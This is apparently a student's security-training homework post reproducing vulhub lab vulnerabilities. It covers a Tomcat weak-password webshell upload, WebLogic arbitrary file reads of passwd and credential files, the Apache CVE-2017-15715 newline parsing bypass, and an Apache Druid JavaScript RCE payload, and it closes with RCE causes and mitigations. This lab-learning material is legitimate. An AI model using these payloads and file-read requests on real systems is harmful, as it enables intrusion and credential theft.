重邮实训第八天作业

1. 在vps安装docker和docker-compose

阿里云官方Docker安装教程,供参考:安装Docker并使用_云服务器 ECS(ECS)-阿里云帮助中心 (aliyun.com)

首先申请阿里云服务器

使用finalshell连接服务器

安装docker

安装docker-compose

  1. 运行以下命令,安装setuptools。

    sudo pip3 install -U pip setuptools
  2. 运行以下命令,安装docker-compose。

    sudo pip3 install docker-compose

验证


2. 上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

2.1 tomcat 弱口令/后台文件上传getshell

下载vuihub-master,解压后进入~/vulhub-master/tomcat/tomcat8目录,启动tomcat。

输入指令docker-compose up -d

成功

修改一下vi docker-compose.yml中的默认端口为5555:

浏览器访问tomcat

点击manager app,输入账号密码(均为tomcat)

成功进入

生成

jar -cvf shell.war shell.jsp

下载到本地并上传至tomcat

打开连接

使用冰蝎建立连接

ls查看目录,成功

漏洞成因

Tomcat manager 登录界面存在弱口令漏洞(tomcat/tomcat),登录成功后有上传点,而压缩包 xxx.war的.war不会被解析,因此直接访问 xxx/里面的一句话路径,可直接拿到shell。

2.2 weblogic 弱口令/任意文件读取

切换路径后启动

浏览器打开【http://公网IP:7001/console/login/LoginForm.jsp】,使用默认账密weblogic/Oracle@123登录

访问【http://公网IP:7001/hello/file.jsp?path=/etc/passwd】可成功读取passwd文件

用Bp抓包SerializedSystemIni.dat和config.xml

http://公网IP:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
http://公网IP:7001/hello/file.jsp?path=config/config.xml

在响应信息中找到密钥,使用weblogic_decrypt.jar工具解密

 漏洞成因

  1. 存在弱口令。

  2. WebLogic 的某些版本存在任意文件读取漏洞,攻击者可以通过未授权的方式读取服务器上的敏感文件。

2.3 apache换行解析

切换到/vulhub-master/httpd/CVE-2017-15715启动靶场

浏览器访问IP:8080,成功

编写php一句话木马做测试文件

上传此文件,用BP拦截抓包,在文件名后添加一个\x0A,

切换到hex界面,右键0d选择插入一个字节0a:

放行数据包,发现返回页面没有显示bad file,状态码也是200,没有进行拦截

访问刚上传的test.php%0a,发现能成功解析,但此文件不是php后缀,说明目标存在解析漏洞

 漏洞成因

Apache HTTPD的2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,【XX.php\x0A】将被按照php后缀进行解析,导致攻击者可能利用此漏洞绕过安全策略。

2.4 apache druid RCE


切换目录,启动容器:
docker-compose up -d

做到这里阿里云服务器崩溃,暂时借用同学服务器进行验证

访问IP:8888进入Druid console控制台界面,点击Load data —>Local disk

设置:

  1. ● Base directory: quickstart/tutorial/

  2. ● File filter: wikiticker-2015-09-12-sampled.json.gz

在点击Apply前,打开BP拦截抓包。把POST请求包发送到Repeater

修改为以下内容后发送

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{
 
                },
                "dimensionsSpec":{
 
                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

得到响应,服务器执行id命令

漏洞成因

在某些Druid版本中,由于未对外部输入进行充分验证和过滤,攻击者可以通过构造恶意请求,利用Druid的某些功能执行任意JS代码,从而控制服务器。


3. 总结RCE漏洞的原理和利用条件及解决方案

简述rce漏洞

1.rce漏洞:
​ rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

​ 在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。

​ 比如:如果应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

2.rce漏洞产生的分类
**命令执行漏洞:**直接调用操作系统命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。
**代码执行漏洞:**靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()和passthru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。
系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。。
**调用的第三方组件存在代码执行漏洞:**例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。


3.rce的漏洞级别
**RCE漏洞通常被认为是高危漏洞。**这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。一旦出现RCE漏洞,攻击者可以获取服务器的命令执行权限,对服务器安全造成极大的影响.

利用条件


存在可被利用的输入接口:应用程序接受并处理用户输入,并在处理过程中调用底层代码或系统命令。

缺乏有效的输入验证:程序没有严格过滤或验证用户输入,使得恶意代码可以进入程序的执行流。

存在可访问的漏洞点:攻击者需要能够访问到含有RCE漏洞的接口,通常是通过网络或其他远程连接方式。

解决方案


输入验证与过滤:对所有用户输入进行严格的过滤和验证,确保输入内容不会被直接用于执行命令或代码。可以使用白名单策略,确保只允许合法的输入格式。

使用参数化接口:避免将用户输入直接传递给命令执行函数,应该使用参数化的方法(如在数据库查询中使用预处理语句)来防止代码或命令注入。

最小权限原则:确保程序仅在必要的权限下运行,即便出现漏洞,攻击者也无法通过该漏洞获取更高的系统权限。

安全更新:及时更新系统和软件,修补已知的安全漏洞。很多RCE漏洞是在旧版本软件中存在的,通过升级可以避免这些问题。

隔离与沙箱:将敏感操作或用户输入部分放置在隔离的环境中(如容器或沙箱),即使发生RCE,也能将影响控制在较小范围内。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值